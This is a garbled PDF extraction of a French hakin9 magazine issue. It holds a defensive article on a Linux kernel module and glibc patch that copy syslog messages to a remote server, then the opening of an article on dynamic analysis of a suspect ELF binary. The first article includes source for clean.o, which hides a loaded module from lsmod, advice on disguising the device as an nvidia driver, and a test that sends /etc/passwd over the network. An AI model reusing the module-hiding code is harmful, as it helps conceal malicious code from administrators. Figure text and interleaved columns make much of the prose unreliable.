composant indispensable de chaque système d'exploitation de la famille Unix. Elle fournit, entre autres, les fonctions gérant les appels système (en anglais system calls), c'est-à-dire les fonctions de base implémentées dans le noyau qui permettent la communication des processus utilitaires avec le noyau – grâce à cela, les processus peuvent profiter du système de fichiers ou du matériel. Une telle fonction, essentielle pour le projet SYSLOG Kernel Tunnel, est syslog().
��������������� ������������������ ���������������� ������ �������� ���������� �������� ��������
���������� �����������
������������������
�����������
����������� ���������
���������
������������
���������� ����������� � �������� ���������
�������������������
������������
Figure 2. Processus de la génération et de l'envoi des paquets par le module tunnel.o
www.hakin9.org
hakin9 N o 2/2005
á Protection des journaux systeme
est installé, il ne pourra pas voir les paquets avec les journaux envoyés, et de cela, il ne se rendra pas compte que les événements du système sont enregistrés sur une machine distante. Évidemment, cela ne concerne pas d'autres ordinateurs dans un réseau qui ont accès aux paquets UDP. Le fonctionnement du module se compose de trois actions : •
•
•
l'initialisation et la vérification de la validité de tous les paramètres nécessaires pour le fonctionnement, les opérations sur le périphérique en mode caractère dev/ tunnel, la préparation et l'envoi du paquet avec les données pour le serveur distant.
Analysons minutieusement chacune des phases.
Initialisation du module
Le fonctionnement du module commence (cf. le Listing 1) par vérifier la validité des arguments transmis par le programme insmod servant à charger les modules (INTERFACE , DESTINATION _ MAC et DESTINATION _ IP). Si ces arguments ne contiennent pas d'erreurs et si la communication avec interface réseau est possible, le module enregistre le périphérique en mode caractère nécessaire pour le fonctionnement (major = register _ chrdev(MAJOR _ NUMBER, &fops).
NAME,
Le dernier pas de cette étape est d'informer le serveur syslogd du début du travail et de donner le numéro du périphérique en mode caractère utilisé. Évidemment, si le numéro affecté par le module est identique à un identifiant déjà existant dans le système, le serveur en sera averti – il sera nécessaire de supprimer le module et de le recharger.
Opérations sur le périphérique en mode caractère
Si une communication avec le serveur distant est possible et un périphérique approprié a été
hakin9 N o 2/2005
Listing 1. Début du travail du module tunnel.o int init_module() { lock_kernel(); if (!INTERFACE) goto out_unlock; if (!DESTINATION_MAC) goto out_unlock; if (!DESTINATION_IP) goto out_unlock; output_dev = __dev_get_by_name(INTERFACE); if (!output_dev) goto out_unlock; if (output_dev->type != ARPHRD_ETHER) goto out_unlock; if (!netif_running(output_dev)) goto out_unlock; (...) major = register_chrdev(MAJOR_NUMBER, NAME, &fops); if (major < 0) { snprintf(log_buffer, LOG_SIZE - 1, "Can not allocate major number!\n"); log_me(strlen(log_buffer), log_buffer); goto out_unlock; } (...) snprintf(log_buffer, LOG_SIZE - 1, "SYSLOG Kernel Tunnel is starting up.\n"); log_me(strlen(log_buffer), log_buffer); memset(log_buffer, '\0', LOG_SIZE); snprintf(log_buffer, LOG_SIZE - 1, "Tunnel device major number is %d.\n", major); log_me(strlen(log_buffer), log_buffer); memset(log_buffer, '\0', LOG_SIZE); out_unlock: unlock_kernel(); return 0; }
Listing 2. Opérations sur le périphérique en mode caractère (...) static struct file_operations fops = { .write = log_device_write, .open = log_device_open, .release = log_device_release }; (...) static int log_device_open(struct inode *inode, struct file *file) { MOD_INC_USE_COUNT; return 0; } static int log_device_release(struct inode *inode, struct file *file) { MOD_DEC_USE_COUNT; return 0; } static ssize_t log_device_write(struct file *filp, const char *buffer, size_t length, loff_t *offset) { int res = 0; if (length >= LOG_SIZE) length = LOG_SIZE - 1; res = copy_from_user(log_buffer, buffer, length); res = log_me(length, log_buffer); memset(log_buffer, '\0', LOG_SIZE); return length; }
www.hakin9.org
49
Défense
Listing 3. Création et transmission d'un paquet
50
inline int log_me(int lenght, char *buffer) { struct sk_buff *skb; if(!output_dev) return -1; if(!(skb = gen_packet(lenght, buffer))) return -1; return send(skb); } inline struct sk_buff *gen_packet(int lenght, char *buffer) { (...) packet_size = sizeof(struct ethhdr) + sizeof(struct iphdr) + sizeof(struct udphdr) + lenght; skb = alloc_skb(packet_size, GFP_ATOMIC); if (!skb) return 0; skb_reserve(skb, sizeof(struct ethhdr)); eth = (struct ethhdr *) skb_push(skb, sizeof(struct ethhdr)); iph = (struct iphdr *) skb_put(skb, sizeof(struct iphdr)); udph = (struct udphdr *) skb_put(skb, sizeof(struct udphdr)); payload = (u_char *) skb_put(skb, lenght); udph->source = htons(SOURCE_PORT); udph->dest = htons(DESTINATION_PORT); udph->len = htons(lenght + sizeof(struct udphdr)); udph->check = 0; iph->ihl = 5; iph->version = 4; iph->ttl = 32; iph->tos = 13; iph->protocol = IPPROTO_UDP; if (in_dev->ifa_list) iph->saddr = in_dev->ifa_list->ifa_address; else { kfree_skb(skb); return 0; } iph->daddr = in_aton(DESTINATION_IP); iph->frag_off = 0; iph->tot_len = htons(sizeof(struct iphdr) + sizeof(struct udphdr) + lenght); iph->check = 0; eth->h_proto = htons(ETH_P_IP); eth->h_source[0] = output_dev->dev_addr[0]; eth->h_source[1] = output_dev->dev_addr[1]; eth->h_source[2] = output_dev->dev_addr[2]; eth->h_source[3] = output_dev->dev_addr[3]; eth->h_source[4] = output_dev->dev_addr[4]; eth->h_source[5] = output_dev->dev_addr[5]; memcpy(octet, DESTINATION_MAC, 2); eth->h_dest[0] = hotou(octet); memcpy(octet, DESTINATION_MAC + 3, 2); eth->h_dest[1] = hotou(octet); memcpy(octet, DESTINATION_MAC + 6, 2); eth->h_dest[2] = hotou(octet); memcpy(octet, DESTINATION_MAC + 9, 2); eth->h_dest[3] = hotou(octet); memcpy(octet, DESTINATION_MAC + 12, 2); eth->h_dest[4] = hotou(octet); memcpy(octet, DESTINATION_MAC + 15, 2); eth->h_dest[5] = hotou(octet); (...) strncpy(payload, buffer, lenght); iph->check = ip_fast_csum((void *) iph, iph->ihl); (...)
www.hakin9.org
créé (/dev/tunnel), tunnel.o passe à l'étape suivante, c'est-à-dire à la préparation des données qui seront ensuite envoyées au serveur distant. Le module offre trois opérations de base (fonctions) sur le périphérique en mode caractère enregistré : ouverture (log _ device _ open), enregistrement (log _ device _ write) et fermeture (log _ device _ release). Elles sont fournies à la fonction register _ chrdev en tant que structure fi le _ operations qui contient les fonctions de service appropriées pour les opérations spécifi ques (cf. le Listing 2). Les fonctions d'ouverture et de fermeture du fi chier de périphérique – log _ device _ open et log _ device _ release – seulement augmentent et réduisent le compteur qui calcule le nombre de processus dans le système utilisant ce module. Cela permet d'éviter la suppression du module au moment où il est utilisé. Par contre, la fonction log _ device _ write détermine les actions du module au moment où des données seront enregistrées dans le fi chier de périphérique. Aussi dangereuse que la suppression du module pendant son travail serait la situation où le processus tenterait d'enregistrer dans le tampon (log _ buffer) plus de données (if length >= LOG _ SIZE), que le paquet envoyé ultérieurement (LOG _ SIZE) pourrait contenir. Pour y remédier, le module réduira le nombre de données obtenues (length = LOG _ SIZE – 1), et retournera au processus le nombre de caractères reçus – cela empêchera la perte de données. Après avoir copié la quantité appropriée de données dans le tampon log _ buffer, le module appelle la fonction log _ me qui prend en argument le tampon contenant un message à envoyer et sa longueur. Ensuite, il met à blanc le contenu du tampon (memset(log _ buffer, '\0', LOG _ SIZE)) et retourne au processus le nombre de données chargées (return _ length).
hakin9 N o 2/2005
á Protection des journaux systeme
Création et transmission du paquet Trois fonctions sont responsables de la création et de la transmission d'un paquet au serveur syslogd : log _ me() ayant la valeur définie pendant l'opération sur le périphérique en mode caractère, gen _ packet() – créant un paquet à envoyer et send(), répondant de l'envoi du paquet créé à une machine distante (cf. le Listing 3). La tâche de la fonction gen _ packet() consiste à générer un paquet UDP/IP contenant notre message et à le mettre à disposition en tant que structure sk _ buff, c'est-à-dire, l'une des structures principales du noyau servant à traiter les données entrant et sortant par les interfaces réseau. Premièrement, il faut déterminer la taille du paquet ; pour cela, il faut additionner les tailles des en-têtes spécifiques (IP, UDP et Ethernet) et la longueur du message compris dans la variable lenght (packet _ size = sizeof(struct
Listing 3. Création et transmission d'un paquet, suite (...) inline int send(struct sk_buff *skb) { if (!skb) return -1; spin_lock_bh(&output_dev->xmit_lock); if (output_dev && !netif_queue_stopped(output_dev)) output_dev->hard_start_xmit(skb, output_dev) else kfree_skb(skb); spin_unlock_bh(&output_dev->xmit_lock); return 1; }
������������� ����������������������
���������������� ������������� ����������
���������������
���������������
�������������
���������������� ������������� ������������ ����������������������
�������
���������������
���������������
ethhdr) + sizeof(struct iphdr) +
udphdr) + lenght). une nouvelle structure sk _ buff capable de contenir le paquet entier est allouée. Après la réservation de la place pour l'entête Ethernet (skb _ reserve(skb, sizeof(struct ethhdr))), les entêtes UDP et IP (iph et udph) sont remplis ; l'adresse source pour l'en-tête IP est chargée à partir de l'interface réseau – iph->saddr = in _ dev->ifa _ list->ifa _ address. Si l'interface n'a pas d'adresse affectée, la création du paquet est interrompue. L'étape suivante est le remplissage de l'en-tête Ethernet – l'adresse MAC source est chargée, de même que dans le cas de l'en-tête IP, à partir de l'interface d'entrée. Enfin, le module, à partir de la variable lenght, copie dans le paquet les données à envoyer (strncpy(payload, buffer, lenght), et ensuite, il calcule la somme de contrôle pour l'en-tête IP (iph->check = ip _ fast _ csum((void *) iph, iph->ihl)). sizeof(struct
Ensuite,
hakin9 N o 2/2005
Figure 3. Environnement de travail SYSLOG Kernel Tunnel typique À la fin, la fonction
inline
int
envoie le paquet créé via l'interface réseau déterminée (output _ dev). send(struct
sk _ buff
*skb)
Installation et configuration du module tunnel.o
Nous connaissons déjà le fonctionnement du module tunnel.o. L'étape suivante du démarrage du transfert des journaux est l'installation de ce module. Si les deux ordinateurs (source et serveur syslogd) sont dans le même réseau ou sont séparés par un routeur, l'installation se fait d'une façon différente. Le schéma des environnements de travail SKT typiques est présenté sur la Figure 3. Le processus de l'installation commence par le décompactage de l'archive avec les codes sources du projet : # tar zxf skt-0.1.tgz
www.hakin9.org
Ensuite, nous devons compiler le module : # cd skt-0.1 skt-0.1# make
Le module a été configuration a été dant le chargement et consiste à définir suivants : •
•
•
construit. Sa effectuée pendans le noyau les paramètres
– l'interface réseau via laquelle les paquets avec les messages seront envoyés, SOURCE _ PORT – le port source contenu dans l'en-tête des paquets UDP générés ; s'il n'est pas défini, le module utilise la valeur la défaut (514), DESTINATION _ MAC – l'adresse matérielle de l'interface réseau de la machine cible ; si l'ordinateur cible n'est pas dans le même INTERFACE
51
Bibliothèque glibc – chose difficile ? La mise à jour de la bibliothèque glibc dans le système fonctionnant est une tâche très difficile. L'installation des correctifs et la compilation ne posent pas de problèmes, mais l'installation d'une nouvelle version est assez compliquée et, malheureusement, ne se limite pas à la commande magique make install. Cela est dû au fait que lors de l'installation, les fichiers des bibliothèques partagées utilisées par tous les programmes lancés dans le système sont changées. Leur suppression ou remplacement peuvent causer des problèmes dans toutes les applications qui les utilisent – de cela, l'installation ne réussira pas. Cela concerne également les programmes principaux, comme cp, ls, mv ou tar. Il existe quelques possibilités pour résoudre ce problème. L'une d'elles consiste à préparer les versions des outils compilés statiquement (c'est-à-dire ceux qui n'utilisent pas les bibliothèques partagées), nécessaires dans le processus d'installation. Cela concerne les jeux de programmes comme binutils, make,
# cp ../skt-0.1/glibc-2.3.2-skt.patch .
core-utils, tar et bash. Toute la procédure de mise à jour de glibc de cette manière est très bien décrite dans le document Glibc Installation HOWTO qui est disponible sur le site http://www.tldp.org/ (cf. l'Encadré Sur le réseau). Une autre méthode consiste à préparer un paquet avec la bibliothèque glibc convenable pour la distribution de Linux utilisée et à l'installer dans le système après le démarrage de l'ordinateur, par exemple à partir du CD d'installation. Comment le faire ? Analysons cette procédure sur l'exemple de la distribution Slackware 9.1. Nous créons un répertoire de travail et nous y chargeons les archives appropriés avec le code source :
lequel nous sommes :
Dans le script glibc.SlackBuild, sur la ligne 81 (avant les lignes responsables de la compilation), nous ajoutons la ligne qui saisira notre correctif pendant la construction du paquet : cat $CWD/glibc-2.3.2-skt.patch | patch -p1
Bien sûr, l'installation du correctif peut être effectuée manuellement. Enfin, nous construisons le paquet en démarrant le script glibc.SlackBuild : # ./glibc.SlackBuild
En résultat, dans le répertoire /tmp nous obtenons le paquet glibc2.3.2-i486-1.tgz tout prêt. Nous le copions dans le répertoire dans
cp /tmp/glibc-2.3.2-i486-1.tgz .
Ensuite, nous démarrons l'ordinateur à partir du CD d'installation et nous montons le système de fichiers principal qui dans cet exemple se trouve sur la partition hda2, dans le répertoire /HOST : # mkdir /HOST # mount /dev/hda2 /HOST
À la fin, nous installons le paquet de la bibliothèque glibc modifié : # mkdir glibc # cd glibc # wget -c ftp://ftp.icm.edu.pl/pub/linux/ slackware/slackware-9.1/source/l/glibc/*
# installpkg -root /HOST \
§
/HOST/root/glibc/glibc-2.3.2-i486-1.tgz
Ensuite, nous copions dans le répertoire courant la mise à jour glibc-2.3.2-skt.patch :
Défense
• •
•
52
réseau que l'ordinateur source, il faut définir l'adresse de l'interface du routeur qui servira d'intermédiaire dans la transmission des paquets, DESTINATION _ IP – l'adresse IP de l'ordinateur cible, DESTINATION _ PORT – le port cible des paquets UDP ; s'il n'est pas défini, le module utilise la valeur 514, c'est-à-dire le port standard sur lequel le programme sysklogd écoute, NAME – le nom du périphérique qui sera enregistré ; le nom par défaut est tunnel,
•
Après le redémarrage, le système utilisera la version modifiée de la fonction syslog().
– le numéro du périphérique qui sera enregistré ; s'il n'est pas donné ou a la valeur 0, le numéro sera affecté dynamiquement par le noyau.
MAJOR _ NUMBER
Essayons de charger le module et de vérifier son fonctionnement. Pour les ordinateurs qui se trouvent dans le même réseau, cela se présente ainsi : # insmod tunnel.o \ INTERFACE=eth0 \ DESTINATION_MAC=01:02:03:04:05:06 \ DESTINATION_IP=10.0.0.10
www.hakin9.org
Si les machines sont dans les réseaux différents, cette commande sera un peu différente : # insmod tunnel.o \ INTERFACE=eth0 \ DESTINATION_MAC=11:12:13:14:15:16 \ DESTINATION_IP=20.0.0.30
Quelle est la différence ? Dans le premier cas, si le système protégé et le serveur de journaux se trouvent dans le même réseau, aux paramètres DESTINATION _ MAC et DESTINATION _ IP nous affections les valeurs étant les adresses MAC
hakin9 N o 2/2005
á Protection des journaux systeme
et IP de la machine cible. Par contre, si les messages doivent être envoyés dans le système qui se trouve dans un réseau différent que l'ordinateur source, le paramètre DESTINATION _ MAC doit déterminer l'adresse MAC de l'interface réseau du routeur qui servira d'intermédiaire dans la transmission des messages. De plus, lors du chargement du module tunnel.o dans le noyau, il est possible de définir le port source et cible contenu dans les en-têtes des paquets UDP générés. Dans certaines situations (par exemple la configuration non standard du serveur distant sysklogd) cela peut s'avérer utile. Maintenant, nous devons créer le fichier de périphérique en mode caractère via lequel nous communiquerons avec le module. Pour ce faire, utilisons le numéro principal du périphérique affecté au module par le noyau qui, après le chargement correct, sera envoyé au serveur distant syslogd : SYSLOG Kernel Tunnel is starting up. Tunnel device major number is 254.
Pour créer le fichier de périphérique, il faut exécuter la commande suivante : # mknod /dev/tunnel c 254 0
Il est grand temps de tester le fonctionnement du module : # echo “hoho” > /dev/tunnel; \ cat /etc/passwd > /dev/tunnel
Bien sûr, une simple opération de configuration et le lancement du module ne suffisent pas pour que les journaux soient envoyés à un système distant par les applications utilitaires. Pour que le module tunnel.o satisfasse aux principes adoptés, nous devons modifier la fonction syslog() de façon à ce qu'avant d'envoyer un message aux journaux d'événements système, elle l'enregistre dans le fichier de notre périphérique. Une telle modification est comprise dans la mise à jour de
hakin9 N o 2/2005
Listing 4. Fragment modifié du code de la fonction syslog() – fichier syslog.c (...) FILE *tunnel = NULL; (...) tunnel = fopen(TUNNEL, "w"); if (tunnel) { fprintf(tunnel, "%s", buf); fclose(tunnel); }
Listing 5. Mode d'emploi du module clean.o # lsmod Module # insmod -y tunnel.o # lsmod Module tunnel # insmod clean.o # lsmod Module clean # rmmod clean # lsmod Module
Size
Used by
Size 5184
Used by 0 (unused)
Size 240
Used by 0 (unused)
Size
Used by
Listing 6. Code source du module clean.o #define __KERNEL__ #define MODULE #include #include #include MODULE_LICENSE("GPL"); int init_module() { if (__this_module.next) __this_module.next = __this_module.next->next; return 0; } int cleanup_module() { return 0; }
la bibliothèque glibc en version 2.3.2 qui fait partie de notre projet SKT.
Mise à jour la bibliothèque glibc
Le second élément très important du SKT est le correctif portant le nom glibc-2.3.2-skt.patch (il est évidemment disponible sur hakin9.live). Après l'ajout au code source de la bibliothèque glibc, le correctif modifie la fonction système syslog() de façon à ce que tous les messages, envoyés
www.hakin9.org
à un enregistreur d'événement local soient en même enregistrés dans le fichier /dev/tunnel. Grâce à cela, nous pouvons surveiller toutes les applications fonctionnant dans le système sans avoir à en modifier une. De plus, le correctif définit le périphérique en mode caractère à utiliser – au fichier glibc-2.3.2/misc/sys/syslog.h il ajoute une constante contenant le nom du fichier de notre périphérique : #define TUNNEL
"/dev/tunnel"
53
Défense
Listing 7. Contenu du fichier /proc/devices après le chargement du module tunnel.o
Listing 8. Contenu du fichier /proc/devices après la dissimulation du périphérique
# cat /proc/devices Character devices: 1 mem 2 pty 3 ttyp 4 ttyS 5 cua 7 vcs 10 misc 29 fb 109 lvm 128 ptm 129 ptm 136 pts 137 pts 162 raw 254 tunnel
# cat /proc/devices Character devices: 1 mem 2 pty 3 ttyp 4 ttyS 5 cua 7 vcs 10 misc 29 fb 109 lvm 128 ptm 129 ptm 136 pts 137 pts 162 raw 195 nvidia
Block devices: 1 ramdisk 2 fd 3 ide0 7 loop 9 md 58 lvm
Block devices: 1 ramdisk 2 fd 3 ide0 7 loop 9 md 58 lvm
La modification est si simple que la mise à jour d'une édition quelconque de glibc ne devrait pas poser de problèmes (cf. l'Encadré Bibliothèque glibc – chose difficile ?). Le Listing 4 présente les modifications de base implémentées par le correctif dans le code source de la fonction syslog(). La fonction modifiée, après l'appel, ouvrira en mode RW (read-write) le fichier de périphérique dont le nom se trouve dans la constante TUNNEL (tunnel = fopen(TUNNEL, "w"). Si le fichier est ouvert correctement, la chaîne de caractères contenue dans la variable buf (c'est-à-dire le journal de l'événement système qui nous intéresse) y est inscrite. Après cette opération, la fonction syslog() ferme le fichier de périphérique.
Dissimulation de la présence dans le système
Dans la confi guration standard, il est très facile de détecter la présence du module tunnel.o dans le système d'exploitation. Tout
54
droits d'administrateur, est toujours capable de le supprimer. Pour y remédier, nous avons le second module faisant partie du projet. Très simple, sa tâche consiste justement à cacher la présence du module tunnel.o (ou autre) dans le noyau.
Module clean.o
d'abord, le module est visible dans la liste des modules du noyau actifs. Cette liste peut être affi chée à l'aide de la commande lsmod (il est donc possible de supprimer ce module par la commande rmmod). Nous pouvons, au moyen du paramètre -o de la commande insmod, charger le module sous un autre nom, mais ce n'est qu'une solution partielle. Pourtant, comme il est facile à deviner, l'intrus possédant les
Le principe du fonctionnement du module clean.o se base sur le fait que le noyau stocke les modules chargés sous forme d'une liste unidirectionnelle. Le début de la liste est le pointeur vers la structure module portant le nom *module _ list, par contre chaque module ajouté au noyau est mis à son début. La variable *next disponible dans la structure module, est mise au début précédent de la liste. Le module clean.o supprime de la liste (mais pas du noyau) le module qui se trouve actuellement au début (c'est-à-dire celui qui a été lancé en dernier) en mettant son pointeur *next sur le module deux positions plus loin. Le fonctionnement du module clean.o est présenté sur la Figure 4, et son mode d'emploi est disponible dans le Listing 5. Le code source du module est affiché dans le Listing 6. Mais ici le jeu de cache-cache avec l'intrus potentiel ne finit pas. Il suffit que le pirate consulte les fichiers appropriés dans le répertoire /proc, et tous nos efforts sont vains.
����������������������������������������������� ������������ �������� ��������������������
�������� ��������������������
�������� ��������������������
�������� ��������������������
�������� ��������������������
���
�������� ��������������������
���
���
��������������������
������������ ������� ��������������������
�������������������������������� ������������
�������� ��������������������
Figure 4. Fonctionnement du module clean.o
www.hakin9.org
hakin9 N o 2/2005
á Protection des journaux systeme
Nom et numéro du périphérique
Tous les périphériques enregistrés dans le système sont consultables dans le fichier /proc/devices (le Listing 7 présente le contenu de ce module après le chargement du module tunnel.o). Comme vous voyez, il contient l'information sur le nom et le numéro de notre périphérique. De cela, pour empêcher de détecter la présence du module, il faut modifier le nom standard et le numéro du périphérique enregistré par le module tunnel.o. Pour ce faire, il faut, pendant le chargement du module, déterminer les paramètres NAME (nom) et MAJOR _ NUMBER (numéro du périphérique). Comment le faire ? Admettons que nous voulons cacher notre périphérique sous le nom nvidia (le numéro du périphérique 195 est un numéro des cartes graphiques nVidia) :
������������������������
�������������
������
����������������
��������������� ������������
���������������������������� ������������������������������ ������������������������� ��������������������
������������
��������
��������� ������������������
�����������������
��������������������
������������ ������������������ �������
������
# insmod -y tunnel.o \ INTERFACE=eth0 \
�������
DESTINATION_MAC=01:02:03:04:05:06 \ DESTINATION_IP=10.0.0.10 \ NAME=nvidia \ MAJOR_NUMBER=195
Il faut faire attention à ne pas donner les valeurs qui sont déjà utilisées – si c'est le cas, le périphérique ne sera pas enregistré. Heureusement, le module informera le serveur de journaux sur le problème éventuel lié aux valeurs de ces paramètres en envoyant le message suivant : Cannot allocate major number!
Listing 8 présente le résultat après la saisie de ces paramètres. La dernière chose que nous devons faire est la modification du nom du fichier de périphérique
Figure 5. Schéma du fonctionnement du module tunnel.o /dev/tunnel de façon à éviter une association quelconque au module tunnel.o. Mais il ne faut pas oublier de modifier le nom du fichier dans la mise à jour pour la fonction syslog() (et plus précisément – dans le fichier misc/sys/syslog.h disponible dans le répertoire avec les sources de la bibliothèque glibc).
Meilleur et plus sûr
SYSLOG Kernel Tunnel en version actuelle ne fournit que des fonctionnalités principales. Bien qu'il fonctionne tout à fait correctement, il y a des choses qu'il pourrait faire mieux – avant tout, protéger les journaux contre les
Sur le réseau • •
http://bama.ua.edu/~dunna001/journeyman/html/c241.htm – le manuel d'utilisation pour la création des modules du noyau de Linux, http://www.tldp.org/HOWTO/Glibc2-HOWTO-2.html – le tutorial concernant la mise à jour de la bibliothèque glibc.
hakin9 N o 2/2005
www.hakin9.org
attaques (surtout contre l'écoute) à partir d'un autre ordinateur que celui qui envoie les messages. Le mieux serait de chiffrer les messages avant l'envoi, mais pour cela, il faudrait concevoir un programme réceptionnant et déchiffrant les messages ou, éventuellement, modifi er le serveur syslogd de façon à ce qu'il s'en occupe. Une autre chose importante serait d'ajouter la possibilité d'envoyer les messages générés par le noyau même, mais pour cela, il serait probablement nécessaire de modifi er la fonction interne du noyau printk() qui est conçue à cet effet. Le projet SYSLOG Kernel Tunnel, bien qu'il soit très jeune, est développé très dynamiquement. Si vous avez des idées, du savoir-faire ou vous voulez aider, n'hésitez pas à contacter l'auteur Michał Piotrowski – [email protected]. n
55
Reverse engineering – analyse dynamique du code exécutable ELF
Marek Janiczek
L'analyse dynamique du code exécutable ELF donne plus de possibilités que l'analyse statique – elle permet d'influencer le fonctionnement d'un programme étudié. Elle n'est pas trop difficile à effectuer, mais exige un environnement séparé.
Défense
D
56
ans l'analyse après intrusion, il y a deux approches principales pour réaliser l'ingénierie inverse d'un programme exécutable suspect. La première, c'est l'analyse statique pendant laquelle le programme examiné n'est pas lancé, mais en se basant uniquement sur le contenu, la logique et les mécanismes appliqués (cf. l'article Ingénierie inverse du code exécutable ELF dans l'analyse après intrusion, hakin9 1/2005). La seconde est l'analyse dynamique, c'est-à-dire les tentatives de lancer sous contrôle et de tracer le fonctionnement du programme suspect. Ce qui caractérise l'analyse dynamique, c'est la possibilité d'influencer le fonctionnement et le déroulement du programme étudié. Nous analyserons le programme suspect kstatd, retrouvé dans un système compromis. Outre la description des techniques et des outils nécessaires pour l'analyse, nous présenterons les problèmes classiques qui peuvent avoir lieu lors des examens. Certains éléments de l'analyse dynamique présentée seront utiles pour collecter les preuves concernant le système compromis ou lors de ce qu'on appelle live forensic analysis, c'est-à-dire l'analyse après intrusion en direct.
www.hakin9.org
Environnement de travail
Si nous nous décidons d'effectuer l'analyse dynamique d'un fichier exécutable suspect, nous devons nous rendre compte qu'un tel fichier peut contenir des mécanismes ayant pour le but de l'empêcher ou de tromper la personne qui l'effectue (cf. l'Encadré Techniques empêchant le désassemblage et le débogage). Prévoir le comportement du programme analysé peut être très difficile – il est donc nécessaire de préparer un environnement système et réseau séparé dans lequel il sera possible d'effectuer en toute sécurité le démarrage contrôlé
Cet article explique... • •
comment effectuer l'analyse dynamique du code exécutable ELF, comment utiliser le débogueur gdb.
Ce qu'il faut savoir... • • •
le langage de programmation C, au moins les notions de base du langage Assembleur, utiliser la ligne de commande des systèmes de la famille *NIX.
hakin9 N o 2/2005
Analyse dynamique du code exécutable
Polygone sûr
L'environnement réseau dans lequel nous voulons effectuer l'analyse dynamique doit être séparé physiquement et logiquement (VLAN, règles du pare-feu) des autres réseaux. Si nous supposons que le programme analysé peut entrer en interaction avec les systèmes via Internet, en option, nous pouvons permettre les connexions extérieures. Dans ce cas, à part le système dans lequel l'analyse sera effectué, l'environnement réseau séparé doit contenir aussi un hôte jouant le rôle d'un sniffeur du trafic réseau et l'hôte auquel nous pourrons envoyer les résultats éventuels de l'analyse. La configuration du système d'exploitation dans lequel l'analyse sera effectuée doit rassembler à l'environnement dans lequel le programme suspect a été trouvé. C'est particulièrement important, si le programme en question est compilé dynamiquement et nécessite pour son fonctionnement les bibliothèques partagées. L'emploi des outils tels que Tripwire ou AIDE pour la création des sommes cryptographiques des fichiers est aussi une très bonne idée. Les sommes cryptographiques générées peuvent être également utilisées dans l'analyse ultérieure pour vérifier l'intégrité des fichiers sur différentes étapes et détecter les modifications éventuelles introduites par le programme analysé. Nous pouvons aussi employer les outils plus avancés comme SAMHAIN ou Osiris qui, outre la vérification de l'intégrité des fichiers, vérifient l'intégrité des structures du noyau du système. Pour s'assurer que les outils utilisés dans l'analyse n'ont pas été modifiés, il est recommandé de se servir des outils disponibles sur des supports extérieurs protégés contre écriture, par exemple ceux disponibles sur hakin9.live. L'environnement du système d'exploitation dans lequel nous effectuerons l'analyse, ne doit pas nécessairement être un hôte physique dans le réseau. Une alternative intéressante serait l'utilisation de programmes permettant d'émuler un autre hôte. VMware est l'un des programmes de ce type – il permet de créer et de restaurer facilement la copie du système (toutes les informations sur le système virtuel sont stockées dans quelques fichiers). Son autre avantage est la possibilité de créer des copies (snapshots) de l'état du système et d'annuler les changements jusqu'à l'état mémorisé et la possibilité de commuter le travail du disque de l'hôte virtuel du mode Persistent en mode Non Persistent. En résultats, toutes les modifications qui ont été effectuées lors du fonctionnement du système ne sont pas mémorisées et après le redémarrage, le système revient à l'état initial.
et de tracer les actions exécutées (cf. l'Encadré Polygone sûr). Dans notre analyse, nous utiliserons deux hôtes qui se trouvent dans un réseau physiquement séparé (cf. la Figure 1). Sur le premier, nous installerons le programme
VMware, sur le deuxième, le système de confiance avec un sniffeur (auquel nous enverrons les résultats de l'analyse). Dans l'environnement VMware, un hôte virtuel avec le système d'exploitation Red Hat Linux 7.3 sera installé (la version
�������������������������������������������� ��������
����������������� �����������������������������������
�������������
�������� ����������������������� �����
�����
Figure 1. Schéma de l'environnement d'analyse
hakin9 N o 2/2005
www.hakin9.org
dans laquelle le programme suspect a été retrouvé). Pour faciliter l'écoute du trafic, les hôtes seront connectés en réseau à l'aide d'un concentrateur (hub). Après tous ces préparatifs, dans le système dans lequel nous effectuons l'analyse, nous générons à l'aide de l'outil AIDE, les sommes cryptographiques de tous les éléments importants, et ensuite, nous les exportons à un hôte de confiance. Dans l'environnement ainsi préparé, nous copions le programme à analyser et nous activons le mode de travail Non Persistent sur le disque virtuel. Le système est prêt.
Analyse dynamique du code exécutable
L'analyse sera effectuée en trois étapes (cf. la Figure 2). Dans la première, nous lancerons le programme analysé de façon standard (sans utiliser les mécanismes de surveillance) et nous effectuerons une estimation générale à partir des informations disponibles dans le système d'exploitation. Dans la seconde étape, nous tenterons de suivre les appels des fonctions système. Enfin, dans la troisième étape, nous suivrons le fonctionnement du programme au moyen d'un débogueur. Chaque étape successive permettra d'obtenir les informations plus détaillées concernant le programme analysé. Après la fin de chaque étape, il sera possible de vérifier les sommes cryptographiques des fichiers et de redémarrer le système pour s'assurer si le programme analysé n'a pas effectué des modifications qui pourraient influencer négativement les résultats obtenus dans les étapes ultérieures.
Étape I – le lancement standard du programme
Dans la première étape, nous analyserons le programme d'une façon générale. Pour reconnaître son type et obtenir les informations de base, nous utiliserons la commande file.
57
Listing 1. Informations obtenues à l'aide de la commande ps # ps ax -o pid,%cpu,%mem,stat,caught,ignored,blocked,eip,esp,stackp,flags,wchan,tty,cmd PID %CPU %MEM STAT CAUGHT IGNORED BLOCKED EIP ESP STACKP F WCHAN 7058 0.0 0.3 S 0000000000014022 8000000000200000 0000000000000000 080622c2 bffff8ec bffffb80 040 schedule _ timeout …
L'une des informations les plus importantes est la méthode de compilation du programme étudié. Comme l'on peut remarquer, le programme à analyser est compilé statiquement : # file kstatd kstatd: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, stripped
Passons maintenant au démarrage du programme et à l'analyse des
informations que l'on peut obtenir à partir des structures de données stockées dans le système d'exploitation. L'une des informations de ce type est le résultat du fonctionnement de la commande ps, permettant d'obtenir, par exemple, les informations sur l'utilisation du processeur (%CPU), de la mémoire (%MEM ) et de l'état du processus (STAT), qui indiquent l'activité du processus analysé. Les informations sur les signaux interceptés ( CAUGHT), négligés (IGNORED) et verrouillés ( BLOCKED) indiqueront comment le processus analysé réagira aux signaux
qui lui sont envoyés. L'état du registre du processeur %eip ( EIP) montrera l'adresse de l'instruction en cours d'exécution. La valeur du champ STACKP révélera l'emplacement du bas de la pile, et le registre %esp ( ESP) – l'adresse de son sommet actuel. De plus, à partir des résultats de la commande ps (champ WCHAN), nous pourrons connaître les informations concernant le nom ou l'adresse de la fonction (ce qu'on appelle canal) dans laquelle le processus est endormi (le processus ayant l'état Running dans le champ WCHAN a un tiret). Le champ désigné
����������������������������� ��������������
������������������������������ ������������������������������������������� ��������������������
������������������������� �������������������������
���������������������������� �����������������������
����������������������������������������� ���������������������������������������� ����������������������������������������� ������������������������
CMD ./kstatd
�����������
������������������
���������������������������
������������������������� �������������������������������� ��������������������������������
�������������������������������������� �������������������������
